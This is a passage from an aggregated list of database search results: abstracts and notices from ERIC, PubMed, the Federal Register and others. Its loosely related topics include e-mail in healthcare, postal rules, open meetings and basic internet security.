Science Experiment), Martin Pätzold, University of Cologne, Germany, tel. +49 221 4703385, fax. +49 221 4705198, e-mail: paetzold@geo.uni-koeln.de MARSIS (Subsurface Sounding Radar/Altimeter), Giovanni Picardi, University of Rome, Italy, tel. +39 06 44585455, fax. +39 06 4873300, e-mail: picar@infocom.ing.uniroma1.it OMEGA (IR Mineralogical Mapping Spectrometer), Jean-Pierre Bibring, Institut d'Astrophysique Spatiale, Orsay, France, tel. +33 1 69858686, fax. +33 1 69858675, e-mail: bibring@ias.u-psud.fr PFS (Planetary Fourier Spectrometer), Vittorio Formisano, Istituto Fisica Spazio Interplanetario, Rome, Italy, tel. +39 6 49934362, fax. +39 6 49934383, e-mail: formisan@nike.ifsi.rm.cnr.it SPICAM (UV and IR Atmospheric Spectrometer), Jean-Loup Bertaux, Service d'Aéronomie, Verrières-le-Buisson, France, tel. +33 1 64474251, fax. +33 1 6920299, e-mail: jean-loup.bertaux@aerov.jussieu.fr. Additional contact: Christian Muller, Belgian Institute for Space Aeronomy. B.USOC earth observations coordination, Avenue Circulaire, 3, B-1180 Brussels, Belgium, tel. +32-2-3730372, fax: +32-2-3748423, e- mail: Christian.Muller@oma.be

Relationship between Training Programs being Offered in State and Federal Penal Institutions and the Unfilled Job Openings in the Major Occupations in the United States.

ERIC Educational Resources Information Center

Torrence, John Thomas

Excluding military installations, training programs in state and federal penal institutions were surveyed, through a mailed checklist, to test the hypotheses that (1) training programs in penal institutions were not related to the unfilled job openings by major occupations in the United States, and (2) that training programs reported would have a…

How to write effective business letters: scribing information for pharmacists.

PubMed

Hamilton, C W

1993-11-01

Pharmacists frequently write letters but lack specific training on how to do it well. This review summarizes strategies for improving business correspondence, emphasizes basic writing guidelines, and offers practical advice for pharmacists. The first steps for effective communication are careful planning and identifying the main message to be conveyed. The purpose for writing should be stated in the opening paragraph of the letter. To ensure a successful outcome, actions needed should be clearly summarized and visually highlighted. The tone of the letter should reflect a reasonable speech pattern, not the cryptic writing found in many scientific papers. The layout of the letter should be inviting, which is readily achievable through judicious use of word processing. Many delivery options are available, such as traditional postal services, express mail, and facsimile transmission. Readers are encouraged to test these basic writing principles and decide for themselves whether these recommendations affect the success of business correspondence.

The Relation of Ego Integrity and Despair to Personality Traits and Mental Health.

PubMed

Westerhof, Gerben J; Bohlmeijer, Ernst T; McAdams, Dan P

2017-05-01

Existing studies in the Eriksonian tradition found that ego integrity and despair are important indicators of life-span development. The present study relates ego integrity and despair to contemporary theories of personality and mental health. A cross-sectional study of Dutch adults aged between 50 and 95 years (N = 218) was carried out, using the Northwestern Ego Integrity Scale, the subscales for neuroticism, extraversion, and openness to experience of the NEO-FFI, the Mental Health Continuum-Short Form, and the Center for Epidemiological Studies Depression Scale-Short Form. Extraversion and openness to experience have an indirect relation to ego integrity that is mediated by well-being. Neuroticism was related to despair and explained the relationship of depressive symptoms to despair. Chronological age did not moderate these findings. Ego integrity appears to be related to fluctuating states of mental health, whereas despair is more an expression of a general trait-like disposition of neuroticism. Implications for further research are discussed. © The Author 2015. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

29 CFR 2701.3 - Announcement of meetings.

Code of Federal Regulations, 2010 CFR

2010-07-01

... matter of a meeting, whether it is to be open or closed, and the name and phone number of the Commission... and docket numbers of the cases to be considered. The Commission shall also contact, by phone or mail...

EMC HWRF Weekly Meeting Homepage

Science.gov Websites

structure using idealized HWRF simulations with GFS and MYJ PBL schemes by Jun Zhang (HRD/AOML) NOAA- MoES Zhan Zhang(EMC) (NOTE: Links open presentations in a new window) Please e-mail comments, questions, or

Interior view of north end of first floor of Express ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Interior view of north end of first floor of Express Building Mail Room, facing east. Toilet rooms are on right, and Lunch Room with surveillance gallery above it is on left. Enclosed stairs is at back of photograph - Southern Pacific Railroad Depot, Railroad Terminal Post Office & Express Building, Fifth & I Streets, Sacramento, Sacramento County, CA

Potential Limitations of E-mail and Text Messaging in Improving Adherence in Glaucoma and Ocular Hypertension.

PubMed

Saeedi, Osamah J; Luzuriaga, Christine; Ellish, Nancy; Robin, Alan

2015-01-01

To determine how receptive patients are to the use of e-mail and text message reminders for appointments and medications. We conducted a consecutive cross-sectional survey of eligible patients with glaucoma or ocular hypertension at a private glaucoma subspecialty practice with 3 locations from February 2011 to January 2012. Main outcome measures were answers to survey questions regarding how receptive patients are to e-mail and text messaging reminders for appointments and medications. Of 989 patients, 404 (40.8%) patients reported that e-mail reminders would help remember appointments and 185 (18.7%) reported that they would help for medications. Among those with access to text messaging, 280 (68.9%) reported text messaging would help them remember appointments and 193 (47.5%) reported it would help with medications. Patients who reported e-mail would help them remember medications were more likely to live in an urban location [P=0.05, odds ratio (OR)=1.84], check the internet at least daily (P≤0.001, OR=1.04), check e-mail when not at home or the office (P=0.02, OR=1.62), and know how to open attachments (P=0.03, OR=1.87). Patients who reported that text messaging would help them remember their medications were more likely to be 40 or less (P≤0.001, OR=8.54) and African American (P<0.001, OR=2.59). E-mail and text messaging reminders currently may have a limited utility in improving adherence in the general glaucoma population but may be useful in younger patients with glaucoma.

77 FR 38768 - Smart Grid Advisory Committee

Federal Register 2010, 2011, 2012, 2013, 2014

2012-06-29

... DEPARTMENT OF COMMERCE National Institute of Standards and Technology Smart Grid Advisory... Smart Grid Interoperability, National Institute of Standards and Technology, 100 Bureau Drive, Mail Stop... open meeting. SUMMARY: The Smart Grid Advisory Committee (SGAC or Committee) will hold a meeting via...

X.400: The Standard for Message Handling Systems.

ERIC Educational Resources Information Center

Swain, Leigh; Tallim, Paula

1990-01-01

Profiles X.400, the Open Systems Interconnection (OSI) Application layer standard that supports interpersonal electronic mail services, facsimile transfer, electronic data interchange, electronic funds transfer, electronic publishing, and electronic invoicing. Also discussed are an electronic directory to support message handling, compatibility…

Problems and risks of unsolicited e-mails in patient-physician encounters in travel medicine settings.

PubMed

Sing, A; Salzman, J; Sing, D

2001-01-01

International travel and use of modern information technology are expressions of modern life style. Seeking on-line travel health advice via E-mail for preventive (teleprevention) or diagnostic reasons may become increasingly popular among patients with financial resources and Internet access. This study was undertaken to compare the behavior of travel clinic or tropical medicine physicians and other providers of travel-related medical information services toward unsolicited E-mails from fictitious patients in pretravel and post-travel scenarios. We also wanted to test the potential of E-mail advice for preventive medicine (teleprevention), and to find out how the "Good Samaritan Law" is observed. Two different E-mails were posted to E-mail addresses of 171 physicians (members of travel health and/or tropical medicine societies) and services offering advice on travel health issues identified by an AltaVista search. These E-mails, from two different fictitious travelers, were asking for advice regarding malaria prophylaxis in a pretravel scenario and describing symptoms suggesting acute malaria. Of the contacted addresses 43.3% and 49.7% respectively, replied to the pre- and post-travel E-mail. Of those suggesting antimalarial chemoprophylaxis in the pretravel scenario, 13.2% proposed inadequate regimens, and at least 3.5% of the post-travel replies were inappropriate. The "Good Samaritan Law" was observed by a significant number of physicians. Both patients and physicians have to be aware of the limitations of E-mail communication. Guidelines protecting physicians against legal and ethical consequences of this new communication technology are urgently needed.

76 FR 25683 - State Energy Advisory Board (STEAB); Meeting

Federal Register 2010, 2011, 2012, 2013, 2014

2011-05-05

... DEPARTMENT OF ENERGY Energy Efficiency and Renewable Energy State Energy Advisory Board (STEAB); Meeting AGENCY: Energy Efficiency and Renewable Energy, Department of Energy. ACTION: Notice of Open... Energy Efficiency and Renewable Energy, 1000 Independence Avenue, SW., Washington DC 20585; or e-mail...

Eye Anatomy

MedlinePlus

... Glaucoma Facts and Stats Glossary Symptoms of Open-Angle Glaucoma Types of Glaucoma » See All Articles Where the Money Goes Have a Question? Browse Our Q&A » Or e-mail us: question@ glaucoma.org For medical advice, contact your doctor. Our Newsletter Stay up-to-date ...

78 FR 7820 - Notice of Intelligent Mail Indicia Performance Criteria

Federal Register 2010, 2011, 2012, 2013, 2014

2013-02-04

... FURTHER INFORMATION CONTACT: Marlo Kay Ivey, Business Programs Specialist, Payment Technology, U.S. Postal... Performance Criteria and Security Architecture for Open Information Based Indicia (IBI) Postage Evidencing Systems and the Performance Criteria and Security Architecture for Closed Information Based Indicia (IBI...

Individualism, Collectivism, Client Expression, and Counselor Effectiveness among South Korean International Students

ERIC Educational Resources Information Center

Seo, Young Seok

2010-01-01

The present study examined how individualism, collectivism, and counselor emphasis of client expression (cognition vs. emotion) are related to perceived counselor effectiveness among South Korean international students. Data were collected through mail surveys from 127 South Korean international students attending a Midwestern university. As…

Selective Exposure to Health Information: The Role of Headline Features in the Choice of Health Newsletter Articles.

PubMed

Kim, Hyun Suk; Forquer, Heather; Rusko, Joseph; Hornik, Robert C; Cappella, Joseph N

2016-01-01

This study investigated how content and context features of headlines drive selective exposure when choosing between headlines of a monthly e-mail health newsletter in a naturalistic setting over a period of nine months. Study participants received a monthly e-mail newsletter and could freely open it and click any headline to read the accompanying article. In each e-mail newsletter, nine headlines competed with each other for selection. Textual and visual information of the headlines was content-analyzed, and clickstream data on the headlines were collected automatically. The results showed that headlines invited more frequent audience selections when they provided efficacy-signaling information in an imperative voice, when they used a moderate number of negative emotion words, when they presented negative thumbnail images while mentioning cancer or other diseases, and when they were placed higher in position.

Importance of Corneal Thickness

MedlinePlus

... Glaucoma Facts and Stats Glossary Symptoms of Open-Angle Glaucoma Types of Glaucoma » See All Articles Where the Money Goes Have a Question? Browse Our Q&A » Or e-mail us: question@ glaucoma.org For medical advice, contact your doctor. Our Newsletter Stay up-to-date ...

Does Your Child Have Glaucoma?

MedlinePlus

... Glaucoma Facts and Stats Glossary Symptoms of Open-Angle Glaucoma Types of Glaucoma » See All Articles Where the Money Goes Have a Question? Browse Our Q&A » Or e-mail us: question@ glaucoma.org For medical advice, contact your doctor. Our Newsletter Stay up-to-date ...

77 FR 58811 - Advisory Committee on Supply Chain Competitiveness Meeting

Federal Register 2010, 2011, 2012, 2013, 2014

2012-09-24

... DEPARTMENT OF COMMERCE International Trade Administration Advisory Committee on Supply Chain... open meeting. SUMMARY: This notice announces a public meeting of the Advisory Committee on Supply Chain..., Washington, DC 20230. Public comments may be mailed to Advisory Committee on Supply Chain Competitiveness...

Multigeneration Cross Contamination of Mail with Bacillus Species Spores by Tumbling ▿

PubMed Central

Edmonds, Jason; Clark, Paul; Williams, Leslie; Lindquist, H. D. Alan; Martinez, Kenneth; Gardner, Warren; Shadomy, Sean; Hornsby-Myers, Jennifer

2010-01-01

In 2001, envelopes loaded with Bacillus anthracis spores were mailed to Senators Daschle and Leahy as well as to the New York Post and NBC News buildings. Additional letters may have been mailed to other news agencies because there was confirmed anthrax infection of employees at these locations. These events heightened the awareness of the lack of understanding of the mechanism(s) by which objects contaminated with a biological agent might spread disease. This understanding is crucial for the estimation of the potential for exposure to ensure the appropriate response in the event of future attacks. In this study, equipment to simulate interactions between envelopes and procedures to analyze the spread of spores from a “payload” envelope (i.e., loaded internally with a powdered spore preparation) onto neighboring envelopes were developed. Another process to determine whether an aerosol could be generated by opening contaminated envelopes was developed. Subsequent generations of contaminated envelopes originating from a single payload envelope showed a consistent two-log decrease in the number of spores transferred from one generation to the next. Opening a tertiary contaminated envelope resulted in an aerosol containing 103 B. anthracis spores. We developed a procedure for sampling contaminated letters by a nondestructive method aimed at providing information useful for consequence management while preserving the integrity of objects contaminated during the incident and preserving evidence for law enforcement agencies. PMID:20511424

Mail-order pharmacy experience of veterans living with AIDS/HIV.

PubMed

Desai, Karishma Rohanraj; Chewning, Betty; Wilcox, Andrew; Safdar, Nasia

2018-02-01

The VA system is the largest single provider of healthcare in the United States and to individuals infected with HIV specifically. High quality medication management is particularly important since HIV is a chronic infectious condition which requires taking multiple medications with strict requirements for adherence to medication regimens. Veterans Administration (VA) patients are required to obtain all chronic medications using the VA mail-order pharmacy system. Drawing on Donabedian's Quality Improvement framework, this study sought to examine experiences that Veterans with HIV have with the Veterans Administration medication mail-order system, and to explore opportunities for quality improvement. A sequential, explanatory mixed-methods design was used to interview Veterans receiving care at a Midwestern Veterans Administration Hospital using a mail-order experience survey followed by in-depth interviews. All 57 Veterans, out of 72, who were successfully contacted consented to participate. Overall, Veterans evaluated the mail-order service positively and valued the accuracy (correct medication delivery). However, a notable problem emerged with respect to assuring access to HIV medications with about half (47%) indicating running out of HIV medication. Respondents identified structural issues with respect to days covered by mailed medications (90 versus current 30 days) and process issues with scheduling new refills. Veterans also indicated the information sheets were too long, complex and not helpful for their queries. Patients were open to pharmacists playing an active role during clinic visits and felt this would help manage their conditions better. Veterans generally reported that the VA Mail-order service was of high quality. However, some findings indicate there are opportunities to improve this service to be more patient-centered particularly for vulnerable HIV patients. Copyright © 2017 Elsevier Inc. All rights reserved.

Internet use and e-mail communications between patients and providers: a survey of rheumatology outpatients.

PubMed

Siva, Chokkalingam; Smarr, Karen L; Hanson, Kathleen Donovan; Parikh, Meghal; Lawlor, Kenneth; Ge, Bin

2008-12-01

As health care costs rise in the United States and elsewhere, adopting health information technology is being advocated to reduce costs and improve efficiency. Physician e-mail communication is a frequently proposed tool in this strategy. We examined the interest of rheumatology outpatients in using E-mail for communication with their rheumatologist. We sought to identify their privacy and cost concerns on this issue, and examine the patients' demographics, internet usage, and preferences. An anonymous survey was given to 150 consecutive patients. Patients responded to questions on demographics, rheumatic diseases, comorbidities, computer/internet access, E-mail use, privacy concerns, payment issues, and preferences regarding communication with their rheumatologist. Statistical analyses on the relationships between demographics and patient preferences on communications with their rheumatologist were conducted. There were 145 respondents; the mean age was 52.3 years, mean education level was 13.6 years. The sample tended to be women (74%), retired/disabled (46%) or employed full time (35%). Most had internet access (74.5%). Differences were found based on gender, age, education, and income levels. Younger adults were more likely to desire E-mail communication with their rheumatologists, especially if paid by insurance. More men than women had concerns about privacy; persons with higher income levels were more willing to self-pay for E-mail. As a significant number of patients with rheumatic diseases express interest in E-mail communication with their providers, rheumatologists need to be cognizant of patients' preferences. To deliver patient-centered care, rheumatology practices might consider incorporating E-mail communication into their practices.

75 FR 3383 - New Postal Product

Federal Register 2010, 2011, 2012, 2013, 2014

2010-01-21

...] New Postal Product AGENCY: Postal Regulatory Commission. ACTION: Final rule. SUMMARY: The Commission.... Introduction The Postal Service seeks to add a new product identified as Express Mail [[Page 3384

78 FR 44519 - Forest Resource Coordinating Committee

Federal Register 2010, 2011, 2012, 2013, 2014

2013-07-24

... the addresses below: Nominations sent via express mail or overnight courier service: Maya Solomon...; 1400 Independence Avenue SW., Washington, DC 20250-1123. FOR FURTHER INFORMATION CONTACT: Maya Solomon...

Expressed Willingness and Competence of Home Economics Teachers to Instruct Occupational Classes.

ERIC Educational Resources Information Center

Bowden, Shirley

A questionnaire and Super's Work Values Inventory were mailed to all teachers of home economics in junior and senior high schools and community colleges in five central California counties to investigate their expressed willingness and competence to offer occupational classes. It was also desired to determine any relationship between willingness…

75 FR 73039 - Renewable Energy and Energy Efficiency Advisory Committee (RE&EEAC)

Federal Register 2010, 2011, 2012, 2013, 2014

2010-11-29

... Commerce at (202) 482-3492; e-mail: [email protected] . This meeting is physically accessible to... DEPARTMENT OF COMMERCE International Trade Administration Renewable Energy and Energy Efficiency... of Commerce. ACTION: Notice of Open Meeting; Correction. SUMMARY: The U.S. Department of Commerce...

Designed for Learning

ERIC Educational Resources Information Center

Magney, Tammy; Sorenson, Kim

2011-01-01

All one has to do is look around to see how "natural" learning occurs. At coffee shops, airports, lobbies, libraries and even family kitchens and living rooms, lifelong learners have their laptops open and cell phones in constant motion. They are texting, e-mailing, inquiring, researching, documenting, photographing, preparing and organizing…

78 FR 71676 - Submission for Review: 3206-0201, Federal Employees Health Benefits (FEHB) Open Season Express...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-11-29

... (FEHB) Open Season Express Interactive Voice Response (IVR) System and Open Season Web site AGENCY: U.S... Benefits (FEHB) Open Season Express Interactive Voice Response (IVR) System and the Open Season Web site... Season Express Interactive Voice Response (IVR) System, and the Open Season Web site, Open Season Online...

Muxstep: an open-source C ++ multiplex HMM library for making inferences on multiple data types.

PubMed

Veličković, Petar; Liò, Pietro

2016-08-15

With the development of experimental methods and technology, we are able to reliably gain access to data in larger quantities, dimensions and types. This has great potential for the improvement of machine learning (as the learning algorithms have access to a larger space of information). However, conventional machine learning approaches used thus far on single-dimensional data inputs are unlikely to be expressive enough to accurately model the problem in higher dimensions; in fact, it should generally be most suitable to represent our underlying models as some form of complex networksng;nsio with nontrivial topological features. As the first step in establishing such a trend, we present MUXSTEP: , an open-source library utilising multiplex networks for the purposes of binary classification on multiple data types. The library is designed to be used out-of-the-box for developing models based on the multiplex network framework, as well as easily modifiable to suit problem modelling needs that may differ significantly from the default approach described. The full source code is available on GitHub: https://github.com/PetarV-/muxstep petar.velickovic@cl.cam.ac.uk Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

17 CFR 230.498 - Summary Prospectuses for open-end management investment companies.

Code of Federal Regulations, 2014 CFR

2014-04-01

... [____]. (A) The legend must provide an Internet address, other than the address of the Commission's electronic filing system; toll free (or collect) telephone number; and e-mail address that investors can use to obtain the Statutory Prospectus and other information. The Internet Web site address must be...

17 CFR 230.498 - Summary Prospectuses for open-end management investment companies.

Code of Federal Regulations, 2011 CFR

2011-04-01

... [____]. (A) The legend must provide an Internet address, other than the address of the Commission's electronic filing system; toll free (or collect) telephone number; and e-mail address that investors can use to obtain the Statutory Prospectus and other information. The Internet Web site address must be...

17 CFR 230.498 - Summary Prospectuses for open-end management investment companies.

Code of Federal Regulations, 2013 CFR

2013-04-01

... [____]. (A) The legend must provide an Internet address, other than the address of the Commission's electronic filing system; toll free (or collect) telephone number; and e-mail address that investors can use to obtain the Statutory Prospectus and other information. The Internet Web site address must be...

75 FR 68402 - Open Meeting of the President's Advisory Council on Financial Capability

Federal Register 2010, 2011, 2012, 2013, 2014

2010-11-05

... original format, including any business or personal information provided such as names, addresses, e-mail... part of the public record and subject to public disclosure. You should only submit information that you wish to make publicly available. FOR FURTHER INFORMATION CONTACT: Dubis Correal, Director, Office of...

Keeping It Simple: The Case for E-Mail.

ERIC Educational Resources Information Center

Haimovic, Gila

The Open University of Israel (OUI) is a distance education institution that offers over 250 computer-mediated courses through the Internet. All OUI students must pass an English reading comprehension exemption exam or take the University's English reading comprehension courses. Because reading instruction differs from content instruction,…

A RESEARCH STUDY OF AGRICULTURAL TECHNICIANS.

ERIC Educational Resources Information Center

JENSEN, BRUCE F.

QUESTIONNAIRES WERE MAILED TO 297 BUSINESS FIRMS TO DETERMINE THE CHARACTER OF THE WORK FORCE, THE TURNOVER OR OPENINGS ANNUALLY, THE JOB QUALIFICATIONS REQUIRED TO FILL THE JOBS, AND THE TRAINING PROGRAMS NEEDED TO PREPARE STUDENTS FOR THE OCCUPATIONS IN AGRICULTURAL BUSINESSES, GOVERNMENTAL AGENCIES, AND FARMS IN THE COLLEGE OF THE SEQUOIAS…

Clio in Cyberspace.

ERIC Educational Resources Information Center

Hindley, Meredith

1996-01-01

Provides an overview of the discussions, activities, procedures, and issues surrounding the more than 70 listservs run by H-Net. The Internet e-mail subscription network is open and free to both scholars and the public. Includes a list of all the H-Net listservs and a representative copy of one list's operating rules. (MJP)

75 FR 16484 - Agency Information Collection Activities; Proposed Collection; Comment Request; Open Government...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-04-01

...-mail address: [email protected] . SUPPLEMENTARY INFORMATION: What Information Is GSA Particularly...., permitting electronic submission of responses. What Should I Consider When I Prepare My Comments for GSA? You... page of your response. You may also provide the Federal Register citation. What Information Collection...

76 FR 33814 - Notice of Open Public Hearing

Federal Register 2010, 2011, 2012, 2013, 2014

2011-06-09

... in Washington, DC on June 15, 2011, to address ``China's Five Year Plan, Indigenous Innovation and.... The hearing will examine China's 12th Five-Year Plan, its ``Indigenous Innovation'' and industrial... June 15, 2011, by mailing to the contact below. A portion of each panel will include a question and...

76 FR 56404 - Meeting of the National Advisory Council on Minority Business Enterprise

Federal Register 2010, 2011, 2012, 2013, 2014

2011-09-13

... Business Development Agency (MBDA), U.S. Department of Commerce at (202) 482-1624 e-mail: [email protected] DEPARTMENT OF COMMERCE MINORITY BUSINESS DEVELOPMENT AGENCY Meeting of the National Advisory... Commerce ACTION: Notice of an open meeting. SUMMARY: The National Advisory Council for Minority Business...

Distance Education: The Technology--What You Need To Know To Succeed, An Overview.

ERIC Educational Resources Information Center

Riedling, Ann M.

1999-01-01

Explores distance-education evolution and research concerning distance-learning formats. Outlines nine mechanisms (electronic-mail, discussion lists/limited conferencing, telnet, FTP/Gopher, WWW, SLIP/PPP, advanced conferencing software, proprietary software vs. open standards, virtual reality) of the Internet which provide for fundamental changes…

76 FR 4719 - Draft Comprehensive Conservation Plan and Environmental Assessment, Selawik National Wildlife...

Federal Register 2010, 2011, 2012, 2013, 2014

2011-01-26

... public through open houses, meetings, written comments, and personal interviews with community members... Comments Before including your address, phone number, e-mail address, or other personal identifying information in your comment, you should be aware that your entire comment--including your personal identifying...

75 FR 65026 - Draft Comprehensive Conservation Plan and Environmental Assessment, Selawik National Wildlife...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-10-21

... public through open houses, meetings, written comments, and personal interviews with community members... Comments Before including your address, phone number, e-mail address, or other personal identifying information in your comment, you should be aware that your entire comment--including your personal identifying...

75 FR 35000 - Blue Ribbon Commission on America's Nuclear Future, Disposal Subcommittee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-06-21

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future, Disposal Subcommittee AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of Open Meeting. SUMMARY: This... Avenue, SW., Washington DC 20585, e-mail to [email protected]nuclear.energy.gov , or post comments on the...

75 FR 43518 - Blue Ribbon Commission on America's Nuclear Future, Transportation and Storage Subcommittee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-07-26

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future, Transportation and Storage Subcommittee AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open...-4243 or facsimile (202) 586- 0544; e-mail [email protected]nuclear.energy.gov . Additional information may...

75 FR 51247 - Blue Ribbon Commission on America's Nuclear Future, Disposal Subcommittee

Federal Register 2010, 2011, 2012, 2013, 2014

2010-08-19

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future, Disposal Subcommittee AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open meeting. SUMMARY: This...; telephone (202) 586-4243 or facsimile (202) 586- 0544; e-mail [email protected]nuclear.energy.gov . Additional...

75 FR 13757 - Blue Ribbon Commission on America's Nuclear Future

Federal Register 2010, 2011, 2012, 2013, 2014

2010-03-23

... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open meeting correction. On March 9, 2010, the...., Washington DC 20585, or e-mail [email protected]nuclear.energy.gov . Additionally, every effort is being made to...

Open to Attack?

ERIC Educational Resources Information Center

Poremba, Sue Marquette

2012-01-01

Who hasn't received mail from a company notifying them that their personal information may have been compromised? No organization--not Amazon, not the CIA--is immune to cyberattacks, and higher education is no exception. Indeed, colleges and universities may be even more susceptible to security breaches than their corporate brethren, and the…

Biopython: freely available Python tools for computational molecular biology and bioinformatics

PubMed Central

Cock, Peter J. A.; Antao, Tiago; Chang, Jeffrey T.; Chapman, Brad A.; Cox, Cymon J.; Dalke, Andrew; Friedberg, Iddo; Hamelryck, Thomas; Kauff, Frank; Wilczynski, Bartek; de Hoon, Michiel J. L.

2009-01-01

Summary: The Biopython project is a mature open source international collaboration of volunteer developers, providing Python libraries for a wide range of bioinformatics problems. Biopython includes modules for reading and writing different sequence file formats and multiple sequence alignments, dealing with 3D macro molecular structures, interacting with common tools such as BLAST, ClustalW and EMBOSS, accessing key online databases, as well as providing numerical methods for statistical learning. Availability: Biopython is freely available, with documentation and source code at www.biopython.org under the Biopython license. Contact: All queries should be directed to the Biopython mailing lists, see www.biopython.org/wiki/_Mailing_listspeter.cock@scri.ac.uk. PMID:19304878

The dual impact of "appeal" and "researcher credibility" on mail survey response rate in the context of preventive health care.

PubMed

Angur, M G; Nataraajan, R; Chawla, S K

1994-01-01

Health and fitness centers are becoming increasingly aware of their importance in the realm of preventive health care. Many hospitals have begun to open and run fitness centers, a trend that seems very likely to continue. In a competitive environment, every center would desire to obtain maximum valid customer information at minimum cost, and this paper addresses this issue. The authors investigate the confluence of both appeal and researcher credibility on mail questionnaire response rates from a metropolitan membership of a large fitness center. Personal appeal with high researcher credibility was found to generate significantly higher response rate followed by the hybrid appeal with low researcher credibility.

Security, privacy, and confidentiality issues on the Internet

PubMed Central

Kelly, Grant; McKenzie, Bruce

2002-01-01

We introduce the issues around protecting information about patients and related data sent via the Internet. We begin by reviewing three concepts necessary to any discussion about data security in a healthcare environment: privacy, confidentiality, and consent. We are giving some advice on how to protect local data. Authentication and privacy of e-mail via encryption is offered by Pretty Good Privacy (PGP) and Secure Multipurpose Internet Mail Extensions (S/MIME). The de facto Internet standard for encrypting Web-based information interchanges is Secure Sockets Layer (SSL), more recently known as Transport Layer Security or TLS. There is a public key infrastructure process to `sign' a message whereby the private key of an individual can be used to `hash' the message. This can then be verified against the sender's public key. This ensures the data's authenticity and origin without conferring privacy, and is called a `digital signature'. The best protection against viruses is not opening e-mails from unknown sources or those containing unusual message headers. PMID:12554559

Delivery style moderates study habits in an online nutrition class.

PubMed

Connors, Priscilla

2013-03-01

To report how the design of an online class affected student ability to stay on task, find critical resources, and communicate with the instructor via e-mail. Audiorecorded focus group meetings at a United States university featured a structured approach to discussions among undergraduate students enrolled in an Internet nutrition class. Meeting transcripts were read and reread by a trained investigator, who coded concepts until themes coalesced, which were authenticated by college students taking online classes. Three themes emerged that described factors moderating study habits in an Internet nutrition course: keeping up, e-mail fatigue, and wayfinding. A well-designed online course plans for productive study habits by posting a schedule of events and maintaining a predictable pattern, supporting navigation that stimulates exploration and return visits to critical information, and constructing e-mail messages that convey a concise message and maximize "open and read." Copyright © 2013 Society for Nutrition Education and Behavior. Published by Elsevier Inc. All rights reserved.

Security, privacy, and confidentiality issues on the Internet.

PubMed

Kelly, Grant; McKenzie, Bruce

2002-01-01

We introduce the issues around protecting information about patients and related data sent via the Internet. We begin by reviewing three concepts necessary to any discussion about data security in a healthcare environment: privacy, confidentiality, and consent. We are giving some advice on how to protect local data. Authentication and privacy of e-mail via encryption is offered by Pretty Good Privacy (PGP) and Secure Multipurpose Internet Mail Extensions (S/MIME). The de facto Internet standard for encrypting Web-based information interchanges is Secure Sockets Layer (SSL), more recently known as Transport Layer Security or TLS. There is a public key infrastructure process to 'sign' a message whereby the private key of an individual can be used to 'hash' the message. This can then be verified against the sender's public key. This ensures the data's authenticity and origin without conferring privacy, and is called a 'digital signature'. The best protection against viruses is not opening e-mails from unknown sources or those containing unusual message headers.

10 CFR 9.33 - Search, review, and special service fees.

Code of Federal Regulations, 2012 CFR

2012-01-01

... by an educational or noncommercial scientific institution, or a representative of the news media; (3... are true copies; (2) Sending records by special methods, such as express mail, package delivery...

Cancer patients' expressions of emotional cues and concerns and oncology nurses' responses, in an online patient-nurse communication service.

PubMed

Grimsbø, Gro Hjelmeland; Ruland, Cornelia M; Finset, Arnstein

2012-07-01

To (1) investigate emotional cues and concerns (C&C) of cancer patients expressed in e-mail communication with oncology nurses in an online patient-nurse communication service (OPNC), and (2) explore how nurses responded to patients' C&C. 283 e-messages sent from 38 breast and 22 prostate cancer patients and 286 e-responses from five oncology nurses were coded with the Verona Coding Definitions of Emotional Sequences. We identified 102 cues and 33 concerns expressed in patients' messages. Cues indicating expression of uncertainty or hope, occurred most frequently (in 38.5% of messages), followed by concerns (in 24.4% of messages). Nurses responded to 85.2% of patients' C&Cs; more than half of patients' C&Cs were met with a mixture of information giving and empathic responses. Patients with breast and prostate cancer express many C&C in e-mail communications with oncology nurses, who demonstrated satisfactory sensitivity to patients' emotions in their responses to patients. Offering e-communication with oncology nurses to cancer patients is a promising and feasible supplement to usual care to address and relieve patients' concerns and emotional distress during illness and recovery. Copyright © 2012 Elsevier Ireland Ltd. All rights reserved.

78 FR 2425 - Notice of Availability of a Supplement to the Eastern Interior Draft Resource Management Plan...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-01-11

....html . Fax: 907-474-2282. Mail: Eastern Interior Field Office, Attention--Eastern Interior Draft RMP... opening about 44 percent of the NRA to hardrock mineral leasing. This decision was never implemented. The... Alternative D to include hardrock mineral leasing. This alternative would recommend making approximately 160...

76 FR 14009 - Federal Advisory Committee Act; Technological Advisory Council

Federal Register 2010, 2011, 2012, 2013, 2014

2011-03-15

... are also broadcast live with open captioning over the internet from the FCC Live Web page at http... accommodations should be submitted via e-mail to [email protected] or by calling the Office of Engineering and... impossible to fill. Federal Communications Commission Julius P. Knapp, Chief, Office of Engineering and...

77 FR 65714 - Notice of Lodging of Proposed Consent Decree Under the Clean Air Act

Federal Register 2010, 2011, 2012, 2013, 2014

2012-10-30

... operate at least eight wind turbines at the Landfill property. The publication of this notice opens a... of reproduction costs. Please mail your request and payment to: Consent Decree Library, U.S. DOJ... cents per page reproduction cost) payable to the United States Treasury. Henry Friedman, Assistant...

76 FR 58806 - Notice of Petition for Declaratory Order; Southern Cross Transmission LLC

Federal Register 2010, 2011, 2012, 2013, 2014

2011-09-22

... (Project) to anchor customers through long-term firm negotiated rate transmission service agreements with whatever capacity that is not committed to anchor customers be made available through an open season... with any FERC Online service, please e-mail [email protected] , or call (866) 208-3676 (toll...

Secure and Resilient Cloud Computing for the Department of Defense

DTIC Science & Technology

2015-11-16

